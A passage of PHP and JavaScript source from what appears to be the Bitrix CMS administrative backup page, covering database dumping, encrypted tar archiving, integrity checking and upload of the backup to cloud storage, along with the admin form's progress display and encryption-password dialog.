COption::SetOptionInt("main", "dump_archive_size_limit", $dump_archive_size_limit * 1024 * 1024);
COption::SetOptionInt("main", "dump_max_file_size", $_REQUEST['max_file_size']);
$NS['total_steps'] = 0;
if ($r = $_REQUEST['dump_file_public'] == 'Y')
$NS['total_steps'] = 1;
COption::SetOptionInt("main", "dump_file_public", $r);
if ($r = $_REQUEST['dump_file_kernel'] == 'Y')
$NS['total_steps'] = 1;
COption::SetOptionInt("main", "dump_file_kernel", $r);
if ($r = $DB->type == 'MYSQL' ? ($_REQUEST['dump_base'] == 'Y') : 0)
$NS['total_steps'] += 2;
COption::SetOptionInt("main", "dump_base", $r);
COption::SetOptionInt("main", "dump_base_skip_stat", $_REQUEST['dump_base_skip_stat'] == 'Y');
COption::SetOptionInt("main", "dump_base_skip_search", $_REQUEST['dump_base_skip_search'] == 'Y');
COption::SetOptionInt("main", "dump_base_skip_log", $_REQUEST['dump_base_skip_log'] == 'Y');
if ($r = $_REQUEST['dump_integrity_check'] == 'Y')
$NS['total_steps']++;
COption::SetOptionInt("main", "dump_integrity_check", $r);
$bDumpCloud = false;
if ($arAllBucket)
{
foreach($arAllBucket as $arBucket)
{
if ($res = $_REQUEST['dump_cloud'][$arBucket['ID']] == 'Y')
$bDumpCloud = true;
COption::SetOptionInt('main', 'dump_cloud_'.$arBucket['ID'], $res);
}
if ($bDumpCloud)
$NS['total_steps']++;
}
COption::SetOptionInt("main", "dump_do_clouds", $bDumpCloud);
$skip_mask = $_REQUEST['skip_mask'] == 'Y';
COption::SetOptionInt("main", "skip_mask", $skip_mask);
$skip_mask_array = array();
if ($skip_mask && is_array($_REQUEST['arMask']))
{
$arMask = array_unique($_REQUEST['arMask']);
foreach($arMask as $mask)
if (trim($mask))
{
$mask = rtrim(str_replace('\\','/',trim($mask)),'/');
$skip_mask_array[] = $mask;
}
COption::SetOptionString("main", "skip_mask_array", serialize($skip_mask_array));
}
}
$NS["step"] = 1;
if ($NS['BUCKET_ID']) // send to the [bitrix]cloud
$NS['total_steps']++;
$NS['dump_site_id'] = $_REQUEST['dump_site_id'];
if (!is_array($NS['dump_site_id']))
$NS['dump_site_id'] = array();
COption::SetOptionString("main", "dump_site_id", serialize($NS['dump_site_id']));
if ($NS['BUCKET_ID'] == -1) // Bitrixcloud
{
$name = DOCUMENT_ROOT.BX_ROOT."/backup/".date('Ymd_His_').rand(11111111,99999999);
$NS['arc_name'] = $name.'.enc'.($bUseCompression ? ".gz" : '');
$NS['dump_name'] = $name.'.sql';
}
else
{
$prefix = '';
if (count($NS['dump_site_id']) == 1)
{
$rs = CSite::GetList($by='sort', $order='asc', array('ID' => $NS['dump_site_id'][0], 'ACTIVE' => 'Y'));
if ($f = $rs->Fetch())
$prefix = str_replace('/', '', $f['SERVER_NAME']);
}
else
$prefix = str_replace('/', '', COption::GetOptionString("main", "server_name", ""));
$arc_name = CBackup::GetArcName(preg_match('#^[a-z0-9\.\-]+$#i', $prefix) ? substr($prefix, 0, 20).'_' : '');
$NS['dump_name'] = $arc_name.".sql";
$NS['arc_name'] = $arc_name.($NS['dump_encrypt_key'] ? ".enc" : ".tar").($bUseCompression ? ".gz" : '');
}
}
elseif($_REQUEST['action'] == 'cloud_send')
{
define('NO_TIME', true);
$NS = Array();
$NS['finished_steps'] = 0;
$NS['total_steps'] = 1;
$NS['cloud_send'] = 1;
$NS['dump_encrypt_key'] = $_REQUEST['dump_encrypt_key'];
$NS['arc_name'] = $name = DOCUMENT_ROOT.BX_ROOT.'/backup/'.str_replace(array('..','/','\\'),'',$_REQUEST['f_id']);
$NS['arc_size'] = filesize($NS['arc_name']);
$NS['BUCKET_ID'] = intval($_REQUEST['dump_bucket_id']);
while(file_exists($name = CTar::getNextName($name)))
$NS['arc_size'] += filesize($name);
$NS['step'] = 6;
}
elseif($_REQUEST['action'] == 'check_archive')
{
define('NO_TIME', true);
$NS = Array();
$NS['finished_steps'] = 0;
$NS['total_steps'] = 1;
$NS['arc_name'] = $name = DOCUMENT_ROOT.BX_ROOT.'/backup/'.str_replace(array('..','/','\\'),'',$_REQUEST['f_id']);
$NS['step'] = 5;
$NS['dump_encrypt_key'] = $_REQUEST['dump_encrypt_key'];
$NS['check_archive'] = true;
$tar = new CTar;
$NS['data_size'] = $tar->getDataSize($name);
}
else
{
$ar = unserialize(COption::GetOptionString("main","skip_mask_array"));
$skip_mask_array = is_array($ar) ? $ar : array();
}
$after_file = str_replace('.sql','_after_connect.sql',preg_replace('#\.[0-9]+$#', '', $NS['dump_name']));
$FinishedTables = 0;
// Step 1: Dump
if($NS["step"] == 1)
{
$step_done = 0;
if (IntOption('dump_base'))
{
if (!CBackup::MakeDump($NS['dump_name'], $NS['dump_state']))
RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS'));
$TotalTables = $NS['dump_state']['TableCount'];
$FinishedTables = $TotalTables - count($NS['dump_state']['TABLES']);
$status_title = GetMessage('DUMP_DB_CREATE');
$status_details = GetMessage("MAIN_DUMP_TABLE_FINISH")." <b>".(intval($FinishedTables))."</b> ".GetMessage('MAIN_DUMP_FROM').' <b>'.$TotalTables.'</b>';
$step_done = $FinishedTables / $TotalTables;
if ($NS['dump_state']['end'])
{
$rs = $DB->Query('SHOW VARIABLES LIKE "character_set_results"');
if (($f = $rs->Fetch()) && array_key_exists ('Value', $f))
file_put_contents($after_file, "SET NAMES '".$f['Value']."';\n");
$rs = $DB->Query('SHOW VARIABLES LIKE "collation_database"');
if (($f = $rs->Fetch()) && array_key_exists ('Value', $f))
file_put_contents($after_file, "ALTER DATABASE `<DATABASE>` COLLATE ".$f['Value'].";\n",8);
clearstatcache();
$NS["step"]++;
$NS['finished_steps']++;
}
}
else
$NS["step"]++;
}
// Step 2: pack dump
if($NS["step"] == 2)
{
$step_done = 0;
if (IntOption('dump_base'))
{
if (haveTime())
{
$tar = new CTar;
$tar->EncryptKey = $NS['dump_encrypt_key'];
$tar->ArchiveSizeLimit = IntOption('dump_archive_size_limit');
$tar->gzip = IntOption('dump_use_compression');
$tar->path = DOCUMENT_ROOT;
$tar->ReadBlockCurrent = intval($NS['ReadBlockCurrent']);
if (!$tar->openWrite($NS["arc_name"]))
RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS'));
if (!$tar->ReadBlockCurrent && file_exists($f = DOCUMENT_ROOT.BX_ROOT.'/.config.php'))
$tar->addFile($f);
$Block = $tar->Block;
$r = null;
while(haveTime() && ($r = $tar->addFile($NS['dump_name'])) && $tar->ReadBlockCurrent > 0);
$NS["data_size"] += 512 * ($tar->Block - $Block);
if ($r === false)
RaiseErrorAndDie(implode('<br>',$tar->err));
$NS["ReadBlockCurrent"] = $tar->ReadBlockCurrent;
if (!$NS['dump_size'])
{
$next_part = $NS['dump_name'];
$NS['dump_size'] = filesize($next_part);
while(file_exists($next_part = CBackup::getNextName($next_part)))
$NS['dump_size'] += filesize($next_part);
}
$status_title = GetMessage("MAIN_DUMP_DB_PROC");
$status_details = GetMessage('CURRENT_POS').' <b>'.round(100 * $NS['data_size'] / $NS['dump_size']).'%</b>';
$step_done = $NS['data_size'] / $NS['dump_size'];
if($tar->ReadBlockCurrent == 0)
{
unlink($NS["dump_name"]);
if (file_exists($next_part = CBackup::getNextName($NS['dump_name'])))
{
$NS['dump_name'] = $next_part;
}
else
{
if (file_exists($after_file))
{
$tar->addFile($after_file);
unlink($after_file);
}
$NS['arc_size'] = 0;
$name = $NS["arc_name"];
while(file_exists($name))
{
$size = filesize($name);
$NS['arc_size'] += $size;
if (IntOption("disk_space") > 0)
CDiskQuota::updateDiskQuota("file", $size, "add");
$name = CTar::getNextName($name);
}
$NS["step"]++;
$NS['finished_steps']++;
}
}
$tar->close();
}
}
else
$NS["step"]++;
}
// Step 3: Download Cloud Files
$arDumpClouds = false;
if($NS["step"] == 3)
{
$step_done = 0;
if ($arDumpClouds = CBackup::CheckDumpClouds())
{
if (haveTime())
{
$res = null;
foreach($arDumpClouds as $id)
{
if ($NS['bucket_finished_'.$id])
continue;
$obCloud = new CloudDownload($id);
$obCloud->last_bucket_path = $NS['last_bucket_path'];
if ($res = $obCloud->Scan(''))
{
$NS['bucket_finished_'.$id] = true;
}
else // partial
{
$NS['last_bucket_path'] = $obCloud->path;
$NS['download_cnt'] += $obCloud->download_cnt;
$NS['download_size'] += $obCloud->download_size;
if ($c = count($obCloud->arSkipped))
$NS['download_skipped'] += $c;
break;
}
}
$status_title = GetMessage("MAIN_DUMP_CLOUDS_DOWNLOAD");
$status_details = GetMessage("MAIN_DUMP_FILES_DOWNLOADED").': <b>'.intval($NS["download_cnt"]).'</b>';
// if ($NS['download_skipped'])
// $status_title .= GetMessage("MAIN_DUMP_DOWN_ERR_CNT").': <b>'.$NS['download_skipped'].'</b><br>';
if ($res) // finish
{
$NS['step']++;
$NS['finished_steps']++;
}
}
}
else
$NS["step"]++;
}
// Step 4: Tar Files
if($NS["step"] == 4)
{
$step_done = 0;
if (CBackup::CheckDumpFiles() || CBackup::CheckDumpClouds())
{
if (haveTime())
{
$tar = new CTar;
$DirScan = new CDirRealScan;
$DOCUMENT_ROOT_SITE = DOCUMENT_ROOT;
if (is_array($NS['dump_site_id']))
{
$SITE_ID = reset($NS['dump_site_id']);
$rs = CSite::GetList($by='sort', $order='asc', array('ID' => $SITE_ID, 'ACTIVE' => 'Y'));
if ($f = $rs->Fetch())
{
$DOCUMENT_ROOT_SITE = rtrim(str_replace('\\','/',$f['ABS_DOC_ROOT']),'/');
if ($NS['multisite'])
{
$tar->prefix = 'bitrix/backup/sites/'.$f['LID'].'/';
$DirScan->arSkip[$DOCUMENT_ROOT_SITE.'/bitrix'] = true;
$DirScan->arSkip[$DOCUMENT_ROOT_SITE.'/upload'] = true;
}
}
}
CBackup::$DOCUMENT_ROOT_SITE = $DOCUMENT_ROOT_SITE;
CBackup::$REAL_DOCUMENT_ROOT_SITE = realpath($DOCUMENT_ROOT_SITE);
$tar->EncryptKey = $NS['dump_encrypt_key'];
$tar->ArchiveSizeLimit = IntOption('dump_archive_size_limit');
$tar->gzip = IntOption('dump_use_compression');
$tar->path = $DOCUMENT_ROOT_SITE;
$tar->ReadBlockCurrent = intval($NS['ReadBlockCurrent']);
$tar->ReadFileSize = intval($NS['ReadFileSize']);
if (!$tar->openWrite($NS["arc_name"]))
RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS'));
$Block = $tar->Block;
if (!$NS['startPath'])
{
if (!IntOption('dump_base') && file_exists($f = DOCUMENT_ROOT.BX_ROOT.'/.config.php'))
$tar->addFile($f);
}
else
$DirScan->startPath = $NS['startPath'];
$r = $DirScan->Scan($DOCUMENT_ROOT_SITE);
$NS["data_size"] += 512 * ($tar->Block - $Block);
$tar->close();
if ($r === false)
RaiseErrorAndDie(implode('<br>',array_merge($tar->err,$DirScan->err)));
$NS["ReadBlockCurrent"] = $tar->ReadBlockCurrent;
$NS["ReadFileSize"] = $tar->ReadFileSize;
$NS["startPath"] = $DirScan->nextPath;
$NS["cnt"] += $DirScan->FileCount;
$status_title = GetMessage("MAIN_DUMP_SITE_PROC");
$status_details = GetMessage("MAIN_DUMP_FILE_CNT")." <b>".intval($NS["cnt"])."</b>";
$last_files_count = IntOption('last_files_count');
if (!$last_files_count)
$last_files_count = 200000;
$step_done = $NS['cnt'] / $last_files_count;
if ($step_done > 1)
$step_done = 1;
if ($r !== 'BREAK')
{
if (count($NS['dump_site_id']) > 1)
{
array_shift($NS['dump_site_id']);
$NS['multisite'] = true;
unset($NS['startPath']);
}
else // finish
{
$NS['arc_size'] = 0;
$name = $NS["arc_name"];
while(file_exists($name))
{
$size = filesize($name);
$NS['arc_size'] += $size;
if (IntOption("disk_space") > 0)
CDiskQuota::updateDiskQuota("file", $size, "add");
$name = CTar::getNextName($name);
}
DeleteDirFilesEx(BX_ROOT.'/backup/clouds');
$NS["step"]++;
$NS['finished_steps']++;
}
}
}
}
else
$NS["step"]++;
}
// Step 5: Integrity check
if($NS["step"] == 5)
{
$step_done = 0;
if (IntOption('dump_integrity_check') || $NS['check_archive'])
{
if (haveTime())
{
$tar = new CTarCheck;
$tar->EncryptKey = $NS['dump_encrypt_key'];
if (!$tar->openRead($NS["arc_name"]))
RaiseErrorAndDie(GetMessage('DUMP_NO_PERMS_READ').'<br>'.implode('<br>',$tar->err));
else
{
if(($Block = intval($NS['Block'])) && !$tar->SkipTo($Block))
RaiseErrorAndDie(implode('<br>',$tar->err));
while(($r = $tar->extractFile()) && haveTime());
$NS["Block"] = $tar->Block;
$status_title = GetMessage('INTEGRITY_CHECK');
$status_details = GetMessage('CURRENT_POS').' <b>'.CFile::FormatSize($NS['Block'] * 512).'</b> '.GetMessage('MAIN_DUMP_FROM').' <b>'.CFile::FormatSize($NS['data_size']).'</b>';
$step_done = $NS['Block'] * 512 / $NS['data_size'];
if ($r === false)
RaiseErrorAndDie(implode('<br>',$tar->err));
if ($r === 0)
{
$NS["step"]++;
$NS['finished_steps']++;
}
}
$tar->close();
}
}
else
$NS["step"]++;
}
// Step 6: Send to the cloud
if($NS["step"] == 6)
{
$step_done = 0;
if ($NS['BUCKET_ID'])
{
if (haveTime())
{
if (!CModule::IncludeModule('clouds'))
RaiseErrorAndDie(GetMessage("MAIN_DUMP_NO_CLOUDS_MODULE"));
$file_size = filesize($NS["arc_name"]);
$file_name = $NS['BUCKET_ID'] == -1 ? basename($NS['arc_name']) : substr($NS['arc_name'],strlen(DOCUMENT_ROOT));
$obUpload = new CCloudStorageUpload($file_name);
if (!$NS['upload_start_time'])
$NS['upload_start_time'] = START_EXEC_TIME;
if ($NS['BUCKET_ID'] == -1)
{
if (!$bBitrixCloud)
RaiseErrorAndDie(getMessage('DUMP_BXCLOUD_NA'));
$obBucket = null;
if (!$NS['obBucket'])
{
$backup = CBitrixCloudBackup::getInstance();
$q = $backup->getQuota();
if ($e = $APPLICATION->GetException())
{
unset($NS['obBucket']);
RaiseErrorAndDie($e->GetString(),true);
}
else
{
if ($NS['arc_size'] > $q)
RaiseErrorAndDie(GetMessage('DUMP_ERR_BIG_BACKUP', array('#ARC_SIZE#' => $NS['arc_size'], '#QUOTA#' => $q)), true);
try
{
$obBucket = $backup->getBucketToWriteFile(CTar::getCheckword($NS['dump_encrypt_key']), basename($NS['arc_name']));
$NS['obBucket'] = serialize($obBucket);
}
catch (CBitrixCloudException $e)
{
RaiseErrorAndDie($e->GetMessage(),true);
}
}
}
else
$obBucket = unserialize($NS['obBucket']);
$obBucket->Init();
$obBucket->GetService()->setPublic(false);
$bucket_id = $obBucket;
}
else
{
$obBucket = null;
$bucket_id = $NS['BUCKET_ID'];
}
if (!$obUpload->isStarted())
{
if (is_object($obBucket))
$obBucket->setCheckWordHeader();
if (!$obUpload->Start($bucket_id, $file_size))
{
if ($e = $APPLICATION->GetException())
$strError = $e->GetString();
else
$strError = GetMessage('MAIN_DUMP_INT_CLOUD_ERR');
unset($NS['obBucket']);
RaiseErrorAndDie($strError,true);
}
if (is_object($obBucket))
$obBucket->unsetCheckWordHeader();
}
if ($fp = fopen($NS['arc_name'],'rb'))
{
fseek($fp, $obUpload->getPos());
$part = fread($fp, $obUpload->getPartSize());
fclose($fp);
$fails = 0;
$res = null;
while($obUpload->hasRetries())
{
if($res = $obUpload->Next($part, $obBucket))
break;
elseif (++$fails >= 10)
RaiseErrorAndDie('Internal Error: could not init upload for '.$fails.' times');
}
if ($res)
{
$pos = $obUpload->getPos();
if ($pos >= $file_size) // file ended
{
if($obUpload->Finish($obBucket))
{
$NS['pos'] += $file_size;
$pos = 0;
if ($NS['BUCKET_ID'] != -1)
{
$oBucket = new CCloudStorageBucket($NS['BUCKET_ID']);
$oBucket->IncFileCounter($file_size);
}
if (file_exists($arc_name = CTar::getNextName($NS['arc_name'])))
{
unset($NS['obBucket']);
$NS['arc_name'] = $arc_name;
}
else
{
$ob = new CBitrixCloudBackup;
$ob->clearOptions();
$name = CTar::getFirstName($NS['arc_name']);
while(file_exists($name))
{
$size = filesize($name);
if (unlink($name) && IntOption("disk_space") > 0)
CDiskQuota::updateDiskQuota("file",$size , "del");
$name = CTar::getNextName($name);
}
$NS["step"]++;
$NS['finished_steps']++;
}
}
else
{
$obUpload->Delete();
unset($NS['obBucket']);
RaiseErrorAndDie(GetMessage("MAIN_DUMP_ERR_FILE_SEND").basename($NS['arc_name']),true);
}
}
$pos += $NS['pos'];
$status_title = GetMessage("MAIN_DUMP_FILE_SENDING");
$status_details = GetMessage('CURRENT_POS').' <b>'.CFile::FormatSize($pos).'</b> '.GetMessage('MAIN_DUMP_FROM').' <b>'.CFile::FormatSize($NS["arc_size"])."</b>".
GetMessage('TIME_LEFT', array('#TIME#' => HumanTime(($NS['arc_size'] - $pos) / $pos * (microtime(true) - $NS['upload_start_time']))));
$step_done = $pos / $NS['arc_size'];
}
else
{
$obUpload->Delete();
unset($NS['obBucket']);
RaiseErrorAndDie(GetMessage("MAIN_DUMP_ERR_FILE_SEND").basename($NS['arc_name']),true);
}
}
else
{
unset($NS['obBucket']);
RaiseErrorAndDie(GetMessage("MAIN_DUMP_ERR_OPEN_FILE").$NS['arc_name'],true);
}
}
}
else
$NS["step"]++;
}
$NS["time"] += workTime();
if ($NS["step"] <= 6) // partial
{
CAdminMessage::ShowMessage(array(
"TYPE" => "PROGRESS",
"MESSAGE" => $status_title,
"DETAILS" => $status_details.'#PROGRESS_BAR#'.
// GetMessage('TIME_SPENT').' '.HumanTime($NS["time"]),
GetMessage('TIME_SPENT').' <span id="counter_field">'.sprintf('%02d',floor($NS["time"]/60)).':'.sprintf('%02d', $NS['time']%60).'</span><!--'.intval($NS['time']).'-->',
"HTML" => true,
"PROGRESS_TOTAL" => 100,
"PROGRESS_VALUE" => ($NS['finished_steps'] + $step_done) * 100 / $NS['total_steps'],
));
?>
<script>
window.setTimeout("if(!stop)AjaxSend('?process=Y&<?=bitrix_sessid_get()?>')",<?=1000 * IntOption("dump_max_exec_time_sleep")?>);
</script>
<?
}
else // Finish
{
$title = ($NS['cloud_send'] ? GetMessage("MAIN_DUMP_SUCCESS_SENT") : GetMessage("MAIN_DUMP_FILE_FINISH")).'<br><br>';
$status_msg = '';
if ($NS["arc_size"])
{
$status_msg .= GetMessage("MAIN_DUMP_ARC_NAME").": <b>".basename(CTar::getFirstName($NS["arc_name"]))."</b><br>";
$status_msg .= GetMessage("MAIN_DUMP_ARC_SIZE")." <b>".CFile::FormatSize($NS["arc_size"])."</b><br>";
if ($NS['BUCKET_ID'] > 0)
$l = ''; //htmlspecialcharsbx($arBucket['BUCKET'].' ('.$arBucket['SERVICE_ID'].')');
elseif ($NS['BUCKET_ID'] == -1)
$l = GetMessage('DUMP_MAIN_BITRIX_CLOUD');
else
$l = GetMessage("MAIN_DUMP_LOCAL");
if ($l)
$status_msg .= GetMessage("MAIN_DUMP_LOCATION").": <b>".$l."</b><br>";
}
if ($FinishedTables)
$status_msg .= GetMessage("MAIN_DUMP_TABLE_FINISH")." <b>".$FinishedTables."</b><br>";
if ($NS["cnt"])
{
$status_msg .= GetMessage("MAIN_DUMP_FILE_CNT")." <b>".$NS["cnt"]."</b><br>";
if (IntOption("dump_file_public") && IntOption("dump_file_kernel"))
COption::SetOptionInt("main", "last_files_count", $NS['cnt']);
}
if ($NS["data_size"])
$status_msg .= GetMessage("MAIN_DUMP_FILE_SIZE")." <b>".CFile::FormatSize($NS["data_size"])."</b><br>";
$status_msg .= GetMessage('TIME_SPENT').' <b>'.HumanTime($NS["time"]).'</b>';
CAdminMessage::ShowMessage(array(
"MESSAGE" => $title,
"DETAILS" => $status_msg,
"TYPE" => "OK",
"HTML" => true));
?>
<?echo bitrix_sessid_post()?>
<script>
EndDump();
</script>
<?
}
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_admin_js.php");
die();
}
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/prolog.php");
// in case of error
$DB->Query("UNLOCK TABLES",true);
$APPLICATION->SetTitle(GetMessage("MAIN_DUMP_PAGE_TITLE"));
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_admin_after.php");
$aTabs = array();
$aTabs[] = array("DIV"=>"std", "TAB"=>GetMessage("DUMP_MAIN_MAKE_ARC"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("MAKE_DUMP_FULL"));
$aTabs[] = array("DIV"=>"expert", "TAB"=>GetMessage("DUMP_MAIN_PARAMETERS"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("DUMP_MAIN_EXPERT_SETTINGS"));
$editTab = new CAdminTabControl("editTab", $aTabs, true, true);
if ($DB->type != 'MYSQL')
echo BeginNote().GetMessage('MAIN_DUMP_MYSQL_ONLY').EndNote();
if (!$bMcrypt || !$bHash)
{
CAdminMessage::ShowMessage(array(
"MESSAGE" => ($bMcrypt ? '' : GetMessage("MAIN_DUMP_NOT_INSTALLED")).($bHash ? '' : ' '.GetMessage('MAIN_DUMP_NOT_INSTALLED_HASH')),
"DETAILS" => GetMessage("MAIN_DUMP_NO_ENC_FUNCTIONS"),
"TYPE" => "ERROR",
"HTML" => true));
}
if (defined('DUMP_DEBUG_MODE'))
echo '<div style="color:red">DEBUG MODE</div><input type=button value=Next onclick="AjaxSend(\'?process=Y&'.bitrix_sessid_get().'\')">';
?><div id="dump_result_div"></div><?
$aMenu = array(
array(
"TEXT" => GetMessage("MAIN_DUMP_LIST_PAGE_TITLE"),
"LINK" => "/bitrix/admin/dump_list.php?lang=".LANGUAGE_ID,
"TITLE" => GetMessage("MAIN_DUMP_LIST_PAGE_TITLE"),
"ICON" => "btn_list"
)
);
$context = new CAdminContextMenu($aMenu);
$context->Show();
CAdminFileDialog::ShowScript(
Array
(
"event" => "__bx_select_dir",
"arResultDest" => Array("FUNCTION_NAME" => "mnu_SelectValue"),
"arPath" => Array('PATH'=>"/"),
"select" => 'D',
"operation" => 'O',
"showUploadTab" => false,
"showAddToMenuTab" => false,
"allowAllFiles" => true,
"SaveConfig" => true
)
);
?>
<script language="JavaScript">
var counter_started = false;
var counter_sec = 0;
function StartCounter()
{
counter_started = true;
}
function StopCounter(result)
{
counter_started = false;
if (result)
{
var regs;
if (regs = /<!--([0-9]+)-->/.exec(result))
counter_sec = regs[1];
}
}
function IncCounter()
{
window.setTimeout(IncCounter, 1000);
if (!counter_started)
return;
counter_sec ++;
var ob;
if (ob = BX('counter_field'))
{
var min = Math.floor(counter_sec / 60);
var sec = counter_sec % 60;
if (min < 10)
min = '0' + min;
if (sec < 10)
sec = '0' + sec;
ob.innerHTML = min + ':' + sec;
}
}
window.setTimeout(IncCounter, 1000);
function GetLicenseInfo()
{
CHttpRequest.Action = function(result)
{
BX('license_info').innerHTML = result;
};
CHttpRequest.Send('?action=key_info&lang=<?=LANGUAGE_ID?>&<?=bitrix_sessid_get()?>');
}
var numRows=0;
function AddTableRow()
{
var oTable = BX('skip_mask_table');
numRows = oTable.rows.length;
var oRow = oTable.insertRow(-1);
var oCell = oRow.insertCell(0);
oCell.innerHTML = '<input type="text" name="arMask[]" id="mnu_FILES_' + numRows +'" size=30><input type="button" id="mnu_FILES_btn_' + numRows + '" value="..." onclick="showMenu(this, '+ numRows +')">';
}
var currentID;
function showMenu(div, id)
{
currentID = id;
__bx_select_dir();
}
function mnu_SelectValue(filename, path, site, title, menu)
{
BX('mnu_FILES_' + currentID).value = path + (path == '/' ? '' : '/') + filename;
}
function CheckExpert()
{
var ob = document.fd1.dump_expert;
var table = BX('tr_dump_expert').parentNode.parentNode;
var found = false;
for(var i=0;i<table.rows.length;i++)
{
if (found)
table.rows[i].style.display = ob.checked ? '' : 'none';
if (table.rows[i].id == 'tr_dump_expert')
found = true;
}
CheckActiveStart();
}
function CheckActiveStart()
{
if (counter_started)
return;
var start = true;
if (document.fd1.dump_expert.checked)
{
start = document.fd1.dump_file_public.checked || document.fd1.dump_file_kernel.checked;
document.fd1.max_file_size.disabled = !start;
document.fd1.skip_symlinks.disabled = !start;
document.fd1.skip_mask.disabled = !start;
var mask = start && document.fd1.skip_mask.checked;
BX('more_button').disabled = !mask;
var oTable = BX('skip_mask_table');
numRows = oTable.rows.length;
for(var i=0;i<numRows;i++)
{
BX('mnu_FILES_'+i).disabled = !mask;
BX('mnu_FILES_btn_'+i).disabled = !mask;
}
<?
if ($arAllBucket)
{
foreach($arAllBucket as $arBucket)
echo 'start = start || BX("dump_cloud_'.$arBucket['ID'].'").checked;'."\n";
}
?>
var ob;
if (ob = document.fd1.dump_base)
{
document.fd1.dump_base_skip_stat.disabled = !ob.checked;
document.fd1.dump_base_skip_search.disabled = !ob.checked;
document.fd1.dump_base_skip_log.disabled = !ob.checked;
start = start || ob.checked;
}
}
BX('start_button').disabled = !start;
}
function CheckEncrypt(ob)
{
var enc;
if(enc = document.fd1.dump_encrypt)
{
enc.disabled = (ob.value == -1);
}
}
BX.ready(
function()
{
CheckExpert();
<?
if ($_REQUEST['from'] == 'bitrixcloud')
echo 'StartDump();';
elseif ($_REQUEST['action'] == 'cloud_send' && check_bitrix_sessid())
echo "AjaxSend('?process=Y&action=cloud_send&f_id=".CUtil::JSEscape($_REQUEST['f_id'])."&dump_encrypt_key=".CUtil::JSEscape($_REQUEST['dump_encrypt_key'])."&dump_bucket_id=".CUtil::JSEscape($_REQUEST['dump_bucket_id'])."&".bitrix_sessid_get()."');";
elseif ($_REQUEST['action'] == 'check_archive' && check_bitrix_sessid())
echo "AjaxSend('?process=Y&action=check_archive&f_id=".CUtil::JSEscape($_REQUEST['f_id'])."&dump_encrypt_key=".CUtil::JSEscape($_REQUEST['dump_encrypt_key'])."&".bitrix_sessid_get()."');";
?>
}
);
var stop;
var dump_encrypt_key;
var PasswordDialog;
function SavePassword()
{
var key = BX('dump_encrypt_key').value;
var l = key.length;
var strError = '';
if (!l)
strError = '<?=GetMessageJS("MAIN_DUMP_EMPTY_PASS")?>';
else if (!/^[\040-\176]*$/.test(key))
strError = '<?=GetMessageJS('DUMP_ERR_NON_ASCII')?>';
else if (l < 6)
strError = '<?=GetMessageJS("MAIN_DUMP_ENC_PASS_DESC")?>';
else if (key != BX('dump_encrypt_key_confirm').value)
strError = '<?=GetMessageJS("DUMP_MAIN_ERR_PASS_CONFIRM")?>';
if (strError)
{
BX('password_error').innerHTML = strError;
BX('dump_encrypt_key').focus();
}
else
{
BX('password_error').innerHTML = '';
dump_encrypt_key = key;
BX.WindowManager.Get().Close();
DoDump();
}
}
function StartDump()
{
var ob;
if (BX('bitrixcloud').checked || (document.fd1.dump_expert.checked && (ob = document.fd1.dump_encrypt) && ob.checked))
{
if (!PasswordDialog)
{
PasswordDialog = new BX.CDialog({
title: '<?=GetMessage("DUMP_MAIN_ENC_ARC")?>',
content: '<?
echo '<div style="color:red" id=password_error></div>';
echo CUtil::JSEscape(BeginNote().GetMessage('MAIN_DUMP_SAVE_PASS').EndNote());
echo '<table>';
echo '<tr><td>'.GetMessage('MAIN_DUMP_ENC_PASS').'</td><td><input type="password" value="" id="dump_encrypt_key" onkeyup="if(event.keyCode==13) {BX("dump_encrypt_key_confirm").focus()}"/></td></tr>';
echo '<tr><td>'.GetMessage('DUMP_MAIN_PASSWORD_CONFIRM').'</td><td><input type="password" value="" id="dump_encrypt_key_confirm" onkeyup="if(event.keyCode==13) {SavePassword()}"/></td></tr>';
echo '</table>';
?>',
height: 300,
width: 600,
resizable: false,
buttons: [ {
title: '<?=GetMessage("MAIN_DUMP_FILE_DUMP_BUTTON")?>',
// id: 'my_save',
// name: 'my_save',
className: 'adm-btn-save',
action: SavePassword
}, BX.CAdminDialog.btnCancel ]
})
}
PasswordDialog.Show();
BX('dump_encrypt_key').focus();
}
else
{
dump_encrypt_key = '';
DoDump();
}
}
function DoDump()
{
counter_sec = 0;
var queryString = 'lang=<?echo htmlspecialcharsbx(LANGUAGE_ID)?>&process=Y&action=start';
var ob = document.fd1.dump_bucket_id;
for (var i = 0; i<ob.length; i++)
if (ob[i].checked)
queryString += '&dump_bucket_id=' + ob[i].value;
i = 0;
while (ob = document.fd1['dump_site_id' + i])
{
if (ob.checked)
queryString += '&dump_site_id[]=' + ob.value;
i++;
}
if (dump_encrypt_key)
queryString += '&dump_encrypt_key=' + encodeURIComponent(dump_encrypt_key);
if (document.fd1.dump_expert.checked)
{
queryString+='&dump_max_exec_time=' + encodeURIComponent(document.fd1.dump_max_exec_time.value);
queryString+='&dump_max_exec_time_sleep=' + encodeURIComponent(document.fd1.dump_max_exec_time_sleep.value);
queryString+='&dump_archive_size_limit=' + encodeURIComponent(document.fd1.dump_archive_size_limit.value);
if (document.fd1.dump_disable_gzip.checked)
queryString += '&dump_disable_gzip=Y';
if (document.fd1.dump_integrity_check.checked)
queryString += '&dump_integrity_check=Y';
if(document.fd1.dump_file_public.checked)
queryString +='&dump_file_public=Y';
if(document.fd1.dump_file_kernel.checked)
queryString+='&dump_file_kernel=Y';
if(document.fd1.skip_symlinks.checked)
queryString+='&skip_symlinks=Y';
if(document.fd1.skip_mask.checked)
{
queryString+='&skip_mask=Y';
var oTable = BX('skip_mask_table');
numRows = oTable.rows.length;
for(i=0;i<numRows;i++)
queryString+='&arMask[]=' + encodeURIComponent(BX('mnu_FILES_'+i).value);
}
if(document.fd1.dump_file_public.checked || document.fd1.dump_file_kernel.checked)
queryString+='&max_file_size=' + document.fd1.max_file_size.value;
if((ob = document.fd1.dump_base) && ob.checked)
{
queryString +='&dump_base=Y';
if(document.fd1.dump_base_skip_stat.checked)
queryString +='&dump_base_skip_stat=Y';
if(document.fd1.dump_base_skip_search.checked)
queryString +='&dump_base_skip_search=Y';
if(document.fd1.dump_base_skip_log.checked)
queryString +='&dump_base_skip_log=Y';
}
<?
if ($arAllBucket)
{
